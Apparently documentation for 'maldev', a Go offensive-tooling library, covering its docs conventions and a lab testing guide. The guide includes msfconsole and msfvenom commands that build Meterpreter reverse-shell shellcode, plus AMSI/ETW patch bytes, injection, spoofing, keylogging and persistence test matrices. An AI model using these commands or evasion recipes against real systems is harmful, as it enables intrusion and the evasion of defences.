Banned: images of code (always use code blocks); free-form **Note:** prefixed paragraphs (use Alerts); raw <script>, <iframe>, <style> (stripped by GitHub anyway).

README structure (root)

Length budget: ≤ 250 lines.

  1. # maldev + 1-line tagline.
  2. Badges (Go version, license, MITRE technique count, test coverage).
  3. ## What is this? — ≤10 lines pitch covering audience, scope, and what makes it different.
  4. ## Install — ≤5 lines.
  5. ## Quick start — ≤30 lines, minimal runnable example.
  6. ## Where to start — explicit role-based and topical entry points:
    - **Operator** → [docs/by-role/operator.md](...)
    - **Researcher** → [docs/by-role/researcher.md](...)
    - **Detection engineer** → [docs/by-role/detection-eng.md](...)
    
    Or browse:
    - **By technique area** → [docs/index.md](...)
    - **By MITRE ATT&CK ID** → [docs/mitre.md](...)
    - **API reference** → pkg.go.dev/github.com/oioio-space/maldev
    
  7. ## Package map — ≤30 lines, 2-column tree (category → 5 packages max with one-liner). Detailed flat list lives in docs/index.md.
  8. ## Build — ≤10 lines.
  9. ## Acknowledgments, ## License.

docs/index.md (navigation spine)

Required sections:

  1. By role — pointer to the 3 role pages.
  2. By technique area — 11 areas, each linking to docs/techniques/<area>/README.md.
  3. By MITRE ATT&CK ID — reverse-index, auto-generated.
  4. By package — flat alphabetical table of all public packages, auto-generated.

Auto-generation

internal/tools/docgen/main.go (to be added) walks go list ./..., parses doc.go for the structured fields (MITRE T-IDs, Detection level, summary), and regenerates:

  • README.md — Package map table.
  • docs/index.md — "By package" + "By MITRE ATT&CK ID" sections.
  • docs/mitre.md — full MITRE table.

Pre-commit hook runs internal/tools/docgen and fails the commit on diff. CI re-checks. Tables are read-only handcraft-wise — edit the source doc.go, regenerate.

Narrative content (per-technique markdown, role pages, README intro, guides under docs/*.md) stays manual.

Versioning (YAML front-matter)

Every docs/**.md page starts with:

---
package: github.com/oioio-space/maldev/<area>/<pkg>
last_reviewed: 2026-04-27
reflects_commit: <short-sha>
---

last_reviewed is bumped by a pre-commit hook whenever the matching *.go files change. reflects_commit is the SHA at the time of last review. A six-month sweep flags pages with last_reviewed > 180 days ago.

README.md and docs/index.md use the same front-matter (package: is omitted for these multi-package documents).

Voice and style

  • Voice: active English. "The implant calls X. The library returns Y." Avoid "you/we/our".
  • Tense: present tense for current behavior ("The patch returns 3 bytes"). Past tense for narrating runs/incidents ("The test failed on Win11 24H2 build 26100").
  • Person: prefer named entity ("the operator", "the implant") over pronouns. Acceptable third-person impersonal ("the function").
  • Code references: backticks for funcName, varName, Pkg.Func. Italics for concepts, bold for key concepts (sparingly, ≤2 per paragraph).
  • Numbers: Arabic 1–9 inline; words for ten+ in prose ("four packages"); Arabic always for technical counts ("180 packages", "T1003.001").
  • Acronyms: spell out first occurrence per page. LSASS (Local Security Authority Subsystem Service) then plain LSASS thereafter.
  • Cross-references: link first mention of every package to its godoc. Subsequent mentions plain package.
  • External resources: prefer permanent links (web.archive.org, paper DOIs, immutable GitHub blob URLs with SHA).

Migration order

Top-down, demonstrator-first, then sweep:

  1. New root README.md + docs/index.md + 3 docs/by-role/*.md pages. Land first to give immediate readability impact.
  2. One demonstrator technique area — completely refactored with the new template, all packages have example_test.go. Acts as the reference for subsequent areas. Suggested: cleanup/* (small, well-bounded, mix of simple and complex).
  3. internal/tools/docgen + pre-commit hook + CI gh-pages workflow. Once these exist, the autogen tables are live for any new doc.
  4. Remaining technique areas, one PR per area: c2, crypto+encode+hash, evasion, collection, credentials, inject, pe, persistence, process, recon, runtime, win.
  5. docs/architecture.md, docs/getting-started.md, docs/mitre.md (regenerated), docs/coverage-workflow.md (revised), docs/testing.md (revised).
  6. Final pass: cross-link audit, breadcrumb uniformity, dead-link sweep.

Pre-commit checks (mandatory)

The pre-commit-checks skill is extended to include:

  1. internal/tools/docgen --check — autogen tables are up to date.
  2. Markdown link checker (e.g., lychee or markdown-link-check) — no dead links.
  3. doc.go linter — every public package has a doc.go matching the template (MITRE section + Detection level + Example reference).
  4. last_reviewed bump — front-matter is updated when the corresponding *.go files change.
  5. Per-tier example presence — every public package has at least Example<Func> in <name>_example_test.go.

CI re-runs these checks on every PR.

Rules of engagement

  • Never write a documentation file from memory of how things "used to be". Always grep the source first.
  • Never edit a generated table by hand. Edit the source doc.go or the generator.
  • Always add the role-page link "See also" entry when creating or editing a technique page.
  • Always add an example_test.go when adding a new public package. No exceptions.
  • Always front-matter every new docs/**.md file.
  • When in doubt about Mermaid vs prose: try Mermaid; if it's > 25 nodes, split or fall back to prose with a screenshot.

Testing Guide — maldev

Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) see docs/coverage-workflow.md.

Overview

The maldev project uses a multi-layered testing strategy:

  1. Unit tests (go test ./...) — 64 packages, 500+ tests
  2. VM integration tests (MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs
  3. memscan binary verification (internal/tools/vm-test-memscan) — 77 byte-pattern sub-checks read via the memscan HTTP API
  4. Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
  5. BSOD verification — crashes the VM, restores the snapshot (uses the cmd/vmtest driver; see scripts/vm-test.ps1)

Running Tests

# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short

# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"

# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"

# VM — sweep all targets (windows + windows11 + linux)
./scripts/vm-run-tests.sh all "./..." "-count=1"

# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s

# memscan binary verification (77-row matrix, from host)
go run internal/tools/vm-test-memscan

# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below

Test Gating

Environment VariablePurpose
MALDEV_INTRUSIVE=1Enable tests that modify system state (hooks, patches, injection)
MALDEV_MANUAL=1Enable tests that need admin + VM (real shellcode, service manipulation)
MALDEV_TEST_USERUsername for impersonation tests
MALDEV_TEST_PASSPassword for impersonation tests

Injection CallerMatrix

Tests every injection method × every syscall calling convention. 35 combinations tested.

MethodWinAPINativeAPIDirectIndirectType
CreateThreadSelf
EtwpCreateEtwThreadSelf
CreateRemoteThreadRemote
RtlCreateUserThreadRemote
QueueUserAPCRemote
NtQueueApcThreadExRemote
EarlyBirdAPCSpawn
ThreadHijack⚠️⚠️Spawn
CreateFiberSelf
  • ⚠️ ThreadHijack + Direct/Indirect: NtGetContextThread/NtWriteVirtualMemory fail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs
  • ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode

Standalone Injection Functions

FunctionMeterpreter TestedNotes
SectionMapInject✅ SESSION_OKRemote, uses Caller
KernelCallbackExec✅ SESSION_OKRemote, no Caller
PhantomDLLInject✅ SESSION_OKRemote, no Caller
ThreadPoolExec✅ SESSION_OKLocal, no Caller
ModuleStomp✅ SESSION_OKLocal, needs CreateThread for execution
ExecuteCallback (EnumWindows)✅ SESSION_OKLocal, synchronous
ExecuteCallback (TimerQueue)✅ SESSION_OKLocal, timer thread
ExecuteCallback (CertEnumStore)✅ SESSION_OKLocal, synchronous (Kali session 48 confirmed)
SpawnWithSpoofedArgs✅ SPOOF_OKProcess arg spoofing — real args executed, fake visible

Meterpreter End-to-End

Prerequisites

  1. Kali VM running with MSF (ssh -p 2223 kali@localhost)
  2. Windows VM with Defender exclusions
  3. SSH key at /tmp/vm_kali_key

Setup

# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'

# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin

# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin

Key Finding: MSF sleep trick

msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.

Results (2026-04-14)

22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).

Evasion Tests

AMSI Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
PatchScanBuffer31 C0 C3 (xor eax,eax; ret)
PatchOpenSessionConditional jump flipped (JZ → JNZ)
PatchAllBoth ScanBuffer + OpenSession patched

ETW Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
EtwEventWrite48 33 C0 C3
EtwEventWriteEx48 33 C0 C3
EtwEventWriteFull48 33 C0 C3
EtwEventWriteString48 33 C0 C3
EtwEventWriteTransfer48 33 C0 C3
NtTraceEvent48 33 C0 C3

Unhook

FunctionWinAPINativeAPIDirectIndirectVerification
ClassicUnhookTarget: NtCreateSection, stub = 4C 8B D1 B8
FullUnhookAll ntdll stubs = 4C 8B D1 B8

ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.

stealthopen Opener / Creator composition

stealthopen exposes a symmetric pair of optional interfaces that mirror the *wsyscall.Caller pattern — nil falls back to the standard os operation, non-nil routes through whatever stealth strategy the caller wires up.

Read side — Opener: the unhook, phantomdll, and herpaderping functions accept it. nil keeps the historic path-based os.Open / windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes reads through OpenFileById and makes path-based EDR file hooks blind to the operation.

Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE rewrite, and .syso emit paths accept it. nil falls back to *StandardCreator (plain os.Create); non-nil lands the file through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile, etc.). Byte-ready callers go through stealthopen.WriteAll(creator, path, data); streaming producers (lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the returned io.WriteCloser directly.

PackageTest fileCoverage
evasion/stealthopenopener_test.go (host)Standard.Open, Use(nil)==Standard, fake opener pass-through; StandardCreator.Create, UseCreator(nil)==StandardCreator, fakeCreator pass-through; WriteAll nil/non-nil/Create-error propagation
evasion/stealthopenopener_windows_test.go (VM)VolumeFromPath (drive/UNC/Win32/relative/empty), NewStealth round-trip via OpenFileById, Stealth.Open state validation, Stealth ignores caller's path argument
evasion/unhookopener_windows_test.go (VM, intrusive)spyOpener counts: ClassicUnhook/FullUnhook each call Open exactly once on ntdll.dll; real Stealth round-trip proves full unhook still succeeds
injectphantomdll_opener_test.go (Windows build, host-safe)spyOpener asserts PhantomDLLInject makes 2 opens on the same System32 DLL path (PE parse + NtCreateSection HANDLE)
process/tamper/herpaderpingopener_windows_test.go (Windows build, host-safe)spyOpener asserts payload+decoy reads both go through the Opener; empty DecoyPath → single call
persistence/lnklnk_test.go (VM)recordingCreator confirms WriteVia routes through the Creator's Create call with the expected path; nil fallback writes a non-empty .lnk via StandardCreator

Run just the Opener / Creator paths:

./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"

Other Evasion

TechniqueTestVerification
ACG EnableTestACGBlocksRWXVirtualAlloc(PAGE_EXECUTE_READWRITE) returns error after Enable()
BlockDLLs EnableTestBlockDLLsPolicyProcess alive = policy set
Phant0m KillTestKillEventLogThreadsEventLog service threads terminated (TEB tag resolution)
Herpaderping RunTestRunWithDecoyDisk file = decoy content, not original payload
SleepMask SleepTestSleepMask_EncryptedDuringSleepBytes XOR-encrypted during sleep, restored after
SleepMask e2eTestSleepMaskE2E_DefeatsExecutablePageScannerConcurrent scanner cannot find canary during masked sleep; protection round-trips
AntiVM DetectVMTestDetectVMInVirtualBoxReturns "VirtualBox" in VirtualBox VM
AntiVM DetectProcessTestDetectVBoxProcessFinds VBoxService.exe, VBoxTray.exe

BSOD

Driven by cmd/vmtest + a target-side PowerShell harness (see scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction today is manual:

  1. Launch the harness via scheduled task (interactive session, schtasks /Run).
  2. The harness calls cleanup/bsod.Trigger(nil).
  3. First tries NtRaiseHardError (intercepted on Win 10 22H2).
  4. Falls back to RtlSetProcessIsCritical(TRUE) + os.Exit(1).
  5. VM crashes with CRITICAL_PROCESS_DIED.
  6. Operator restores the INIT snapshot: virsh snapshot-revert <vm> --snapshotname INIT --force or VBoxManage snapshot <vm> restore INIT.

SSN Resolver Verification

All 4 resolvers return identical SSNs for the same function:

FunctionSSNHellsGateHalosGateTartarusHashGate
NtAllocateVirtualMemory0x0018
NtProtectVirtualMemory0x0050
NtCreateThreadEx0x00C2
NtClose0x000F

Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.

Collection

FeatureTestVerification
ScreenshotTestCapturePNG magic bytes 89 50 4E 47
Screenshot boundsTestDisplayBoundsWidth/height > 0
Clipboard readTestReadTextNo crash
Clipboard roundtripTestReadTextRoundtripSet-Clipboard → ReadText = exact match
Clipboard watchTestWatchChannel closes on context cancel
Keylog hook installTestStartHook installs + channel open
Keylog captureTestCaptureSimulatedKeystrokesSendInput(VK_A) → KeyCode=0x41
Keylog cancelTestStartCancelChannel closes on timeout

Token Operations

FunctionTestVerification
Steal (self)TestStealSelfValid token from own PID
Steal (remote)TestImpersonateTokenFromRemoteProcessSteal notepad token + impersonate
OpenProcessTokenTestOpenProcessTokenSelfToken handle non-zero
UserDetailsTestTokenUserDetailsUsername non-empty
IntegrityLevelTestTokenIntegrityLevelReturns string (Medium/High/System)
PrivilegesTestTokenPrivilegesAt least one privilege listed
Enable/DisableTestEnableDisablePrivilegeRound-trip toggle
ImpersonateTokenTestImpersonateTokenToken-based (no credentials)

Persistence

MechanismTestVerification
Registry Run keyTestSetAndGet + TestDeleteFull CRUD lifecycle (Set → Get → Exists → Delete)
Scheduler taskTestCreateAndDeleteCreate → Exists=true → Delete → Exists=false
LNK Save (disk via WScript.Shell)TestSave.lnk produced is non-empty under t.TempDir
LNK BuildBytes (zero-disk via IShellLinkW + IPersistStream)TestBuildBytes + TestBuildBytesNoArtefactHeader byte = 0x4C; no maldev-lnk-* directory left in TEMP
LNK WriteTo (zero-disk → io.Writer)TestWriteToBytes equal to BuildBytes round-trip into bytes.Buffer
LNK WriteVia (zero-disk → stealthopen.Creator)TestWriteVia_NilUsesStandardCreator + TestWriteVia_DelegatesToCreatornil falls back to os.Create; recordingCreator captures the right path
LNK SetIconLocationIndexedTestSetIconLocationIndexedBuilder packs (path, index) into the WSH "path,N" form
LNK Hotkey parserTestParseHotkey8 cases — Ctrl/Alt/Shift/Control aliases, F1/F-out-of-range, single-letter, single-digit, unsupported keys

Cleanup

FunctionTestVerification
SelfDelete (script)TestRunWithScriptInChildBinary file removed from disk
Timestomp SetTestSetFile mtime changed
Timestomp CopyFromTestCopyFromDestination times match source
Memory WipeAndFreeTestWipeAndFreeVirtualQuery returns MEM_FREE

PE Operations

FunctionTestVerification
BOF LoadTestLoadParses COFF headers, validates machine type
BOF ExecuteTestExecuteNopBOFRuns nop.o without crash
PE ParseTestOpenValidPESections, imports, exports parsed
PE Strip timestampTestSetTimestampTimestamp changed
PE SanitizeTestSanitizePclntab F1FFFFFF wiped + sections renamed
PE Morph UPXTestUPXMorphSection names randomized
sRDI ConvertDLLTestConvertDLLShellcode generated from DLL

Linux Testing

Injection Methods

MethodTestResultVerification
/proc/self/memTestProcMemSelfInjectChild writes via /proc/self/mem, prints PROCMEM_OK
memfd_createTestMemFDInjectCreates anonymous fd, ForkExecs /bin/true ELF copy
ptraceTestPtraceInjectSpawns sleep target, attaches via ptrace, injects
purego (mmap+exec)TestPureGoExecmmap RWX + direct call (no CGO)
procmem crash verifyTestProcMemVerificationInjection → SIGSEGV = shellcode executed

Linux Debugger Equivalent

Instead of x64dbg, Linux verification uses:

  • /proc/PID/maps — read memory layout, find RWX regions
  • /proc/PID/mem — read/write process memory directly
  • GDB (gdb -p PID) — available on Ubuntu VM for interactive debugging
  • strace — trace syscalls (memfd_create, mmap, ptrace)

Running Linux Tests

# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"

# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s

# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
  go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s

# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s

Linux e2e Results

TestResultNotes
TestShellPTYLinux✅ PASSPTY echo + command output verified
TestShellPTYLinuxLifecycle✅ PASSStart/stop/reconnect lifecycle
TestMeterpreterRealSessionLinux✅ PASSSession 1 opened on Kali (192.168.56.200:4444 → 192.168.56.103)

Platform Test Summary

PlatformPackages OKFAILInjection MethodsMeterpreter
Windows 10 (VM win10)6409 methods × 4 callers + 12 standalone22 sessions
Windows 11 (VM win11-2)TBD per run — see deltas belowvariessame matrix as win10; remote-thread methods bite on Win11TBD
Ubuntu 25.10 (VM)2604 methods (procmem, memfd, ptrace, purego)1 session (Linux meterpreter)

Win10 → Win11 cross-version deltas (run captured 2026-04-26)

The windows11 test target (VM win11-2, build 26100 / Win11 24H2) exposes mitigations Win10 22H2 doesn't. Categories:

SiteWin10Win11-2Likely cause
cleanup/selfdelete/TestDeleteFile{,Force}PASSFAILWin11 changes to MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics
evasion/hook test binaryPASS*build failed (Defender quarantine)Win11 Defender def signatures flag the test EXE — fixed via Defender exclusions in bootstrap-windows-guest.ps1 (re-snapshotted 2026-04-26)
pe/srdi test binaryPASS*quarantinedSame Defender root cause; same fix
inject/TestCallerMatrix_RemoteInject (CRT/RtlCUT/QUAPC/NtQAPCEx × WinAPI+Direct)PASS8 sub-failsWin11 hardening on cross-process write + thread-create primitives
process/tamper/fakecmd/TestSpoofPIDPASSFAILPROC_THREAD_ATTRIBUTE_PARENT_PROCESS tighter on Win11 (consistent with the PPIDSpoofer known-limitation already noted on Win10 22H2 — gap widened on Win11)
process/tamper/herpaderping/TestRunWithDecoy{,VerifyProcessCreated}PASSFAILWin11 image-load notify changes break the herpaderping primitive
recon/dllhijack/TestValidate_OrchestrationEndToEndFAIL (timing flake)PASSOrchestration timing — not a Win11 regression

* On a clean Defender state. Defender signatures rotate; the evasion/hook and pe/srdi quarantines were observed on win10 in run 2 even though they passed on run 1. The bootstrap script now installs path + process exclusions on first provision (see scripts/vm-test/bootstrap-windows-guest.ps1).

These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:

  • Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
  • fakecmd / herpaderping → mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.
  • selfdelete → research the Win11 rename-on-reboot regression; check whether the new FILE_RENAME_INFO + FILE_DISPOSITION_INFO_EX path needs an alternate code path.

PPID Spoofing

The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

FunctionTestResultNotes
ParentPIDTestParentPIDReturns parent PID of current process
NewPPIDSpooferTestNewPPIDSpooferConstructor, default targets
FindTargetProcessTestPPIDSpooferFunctional⚠️ SKIPExploit Guard blocks CreateProcess with spoofed parent on Win 10 22H2
SysProcAttrTestPPIDSpooferSysProcAttrNoTargetError on missing target

Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.

Sprint 2 Additions (2026-04-15)

Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.

inject callbacks — 3 new execution methods

MethodTestResultFix landed during session
CallbackReadDirectoryChangesTestExecuteCallbackReadDirectoryChangesPASS
CallbackRtlRegisterWaitTestExecuteCallbackRtlRegisterWaitPASSWT_EXECUTEONLYONCE + RtlDeregisterWaitEx(INVALID_HANDLE_VALUE) to avoid post-free callback crash
CallbackNtNotifyChangeDirectoryTestExecuteCallbackNtNotifyChangeDirectoryPASSSTATUS_PENDING(0x103) accepted as success; Win11 CET stub requires endbr64 prefix

Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).

persistence/scheduler — COM ITaskService rewrite

TestResultNotes
TestCreateAndDeletePASSRegisterTaskDefinition + DeleteTask round-trip
TestCreateWithTimeAndDeletePASSTIME trigger
TestDeleteNonExistentPASSError surface
TestCreateRequiresActionPASSOption validation
TestSplitTaskNamePASSUnit test for path parsing
TestScheduledTaskMechanismPASSpersistence.Mechanism interface
TestExistsNonExistentPASSNon-admin returns false cleanly
TestRunNonExistentPASSError surface
TestListPASSRoot-folder enumeration

Two bugs fixed during the VM run: ole.NewVariant(VT_NULL)nil (oleutil marshaller panic), and StartBoundary now always set (Task Scheduler rejects DAILY triggers without it).

runtime/clr — in-process .NET hosting

TestResultGate
TestInstalledRuntimesPASSalways
TestLoadAndCloseSKIP*ICorRuntimeHost unavailable
TestExecuteAssemblyEmptySKIP*ICorRuntimeHost unavailable
TestExecuteDLLValidationSKIP*ICorRuntimeHost unavailable
TestInstallAndRemoveRuntimeActivationPolicyPASSalways

Load() tries CorBindToRuntimeEx first, falls back to CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests run inside a separate helper binary — testutil/clrhost/ — built on demand with a committed <exe>.config that enables legacy v2 activation. testutil.RunCLROperation spawns the helper, inspects its exit code, and maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to t.Skip so the test suite stays green.

* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed .config and a fresh unmanaged helper process, GetInterface(CorRuntimeHost) still returns REGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.

Runtime helpers for operational use:

  • clr.InstallRuntimeActivationPolicy() drops <exe>.config next to the running binary before Load.
  • clr.RemoveRuntimeActivationPolicy() deletes it after Load succeeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).

evasion/cet — CET shadow-stack manipulation

TestResultNotes
TestMarkerPASSVerifies Marker == ENDBR64 opcode
TestWrapIdempotentPASSDouble-wrap is no-op
TestWrapEmptyPASSnil input → just Marker
TestWrapAlreadyCompliantPASSsc starting with ENDBR64 unchanged

cet.Enforced() / cet.Disable() are environment-dependent and not unit-asserted — verified manually on the Win10 VM (returns false; no CET enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.

pe/masquerade — compile-time PE resource embedding (T1036.005)

End-to-end validation via pe/masquerade/internal/e2e_cmd_test:

StepResult
Generator read-only scan of System32PASS (5 identities × 2 UAC variants = 10 sub-packages)
Blank-import → go buildPASS (syso auto-linked)
VERSIONINFO matchPASS — Get-Item masqtest.exe shows CompanyName "Microsoft Corporation", OriginalFilename "Cmd.Exe", full cmd.exe metadata

process/session — WTS enumeration

TestResultVM observation
TestListPASSServices(id=0,Disconnected) + Console(id=1,Active,test@DESKTOP-T8IB37P)
TestActiveSubsetOfListPASSinvariant Active ⊆ List
TestSessionStateStringPASSenum→name mapping

Windows 11 CET gotcha

KiUserApcDispatcher rejects non-endbr64 indirect targets with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that allocates a shellcode stub for an APC path must start with F3 0F 1E FA (endbr64). Use testutil.WindowsCETStubX64.

Sprint 2 Extensions (2026-04-15)

Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).

c2/transport — server-side Listener interface

Adds Listener, NewTCPListener, NewTLSListener as the symmetric of Transport for operator-side reverse-shell handlers. Thin wrappers over net.Listen / tls.Listen with context-cancelable Accept.

Tests (11 PASS, 1 SKIP in loopback race): TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr, TestTCPContextCancel (SKIP: loopback accepts before ctx fires), TestTCPContextCancelNonRoutable (non-routable addr forces the cancel path), TestNewTLS_Options, TestWithFingerprint, TestNewUTLS_Options, plus malleable HTTP tests.

c2/multicat — multi-session reverse-shell manager

Operator-side listener that multiplexes inbound shells into numbered sessions, reads an optional BANNER:<hostname>\n within 500 ms, and emits lifecycle events on a buffered channel. Never embedded in the implant.

MITRE: T1571.

Tests (6 PASS, in-memory with net.Pipe): TestListenAccept, TestSessionsIDSequential, TestBannerHostname, TestRemoveSession, TestEvents, TestGet. Tests write "\n" from the client side to unblock the 500 ms banner-read deadline so the session registers before Sessions() snapshot.

crypto — lightweight obfuscation primitives

Non-cryptographic but signature-breaking transforms: TEA, XTEA (8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift (position-dependent byte add), S-Box (random 256-byte permutation + inverse via Fisher-Yates on crypto/rand), and MatrixTransform / "Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).

MITRE: T1027 / T1027.013.

Tests: TestTEARoundtrip, TestXTEARoundtrip, TestArithShiftRoundtrip, TestSBoxRoundtrip, TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.

Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta } replaces it. matDet needs an explicit n == 1 case for 2×2 matrix inversion (recursive cofactor minors land at 1×1).

process/tamper/fakecmd — SpoofPID remote PEB overwrite

Extends the existing self-spoof to a remote process. Opens the target with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine, allocates a new UTF-16 buffer in the target with NtAllocateVirtualMemory, writes the fake string, and patches Length / MaximumLength / Buffer of the UNICODE_STRING in place. No Restore counterpart — the caller tracks the original.

Signature accepts an optional *wsyscall.Caller that routes both NtQueryInformationProcess and NtAllocateVirtualMemory.

MITRE: T1036.005.

Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls SpoofPID(pid, fake, nil), then reads the remote PEB back via readRemoteCmdLine and asserts equality. Skipped on host when not running as admin via testutil.RequireAdmin.

encode — markdown documentation page

No new Go code. Creates docs/techniques/encode/README.md covering Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt, and the encrypt → encode layering pattern. All existing encode tests continue to PASS.

VM Infra Fixes Landed With This Sprint

  • Persistent shared folder maldev on Windows10 VM with --automount --auto-mount-point "Z:" so Z:\scripts\vm-test.ps1 resolves.
  • vm-test.ps1 tolerates comma-separated -Packages because VBoxManage guestcontrol drops internal whitespace from -- args; multi-package runs must pass a single ./... glob, commas, or invoke the runner once per package.

License (license/)

VM-tagged tests in the license package run only with -tags vmtest. They are skipped on the host suite to avoid relying on machine-id files or per-OS storage.

TestVMWhat it verifies
TestHostIDLocal_Realwindows, linuxReal read of MachineGuid / /etc/machine-id
TestBinaryPinning_HashFileStablewindows, linuxHashFile is deterministic across two reads
TestIdentityPinning_RoundTripwindows, linuxFull identity-pinning Verify path

Run from the host:

./scripts/vm-run-tests.sh windows "./license/..." "-v -count=1 -tags vmtest"
./scripts/vm-run-tests.sh linux "./license/..." "-count=1 -tags vmtest"

Known Limitations

IssueImpactWorkaround
CreateFiber deadlocks Go schedulerCannot test with real shellcode in go testUse standalone binary
ThreadHijack + Direct/IndirectRSP alignment breaks NtGetContextThreadUse WinAPI or NativeAPI
Phant0m depends on EventLog stateMay skip if threads untaggedRun immediately after VM restore
Clipboard needs Session 1guestcontrol = Session 0Run via scheduled task
Keylog singletonMust wait 500ms between Start() callsSleep after cancel
findallmem after x64dbg attachReturns 0 resultsUse InitDebug or self-scan
Syscall stubs transientFreed after Caller GCScan during execution, not after
MSF exits on stdin EOFHandler dies after -r/-x commandsAdd sleep 3600 as last -x command
PPID spoofing blockedKernel-level mitigation on Win 10 22H2 (not ASR)Test on older OS or disable kernel mitigations
Ubuntu no host-only NICCannot reach Kali for meterpreterAdd nic2 hostonly (requires VM shutdown) — DONE
KaliSSH inside VMslocalhost:2223 unreachable from other VMsUse direct host-only IPs or env vars (MALDEV_KALI_HOST)
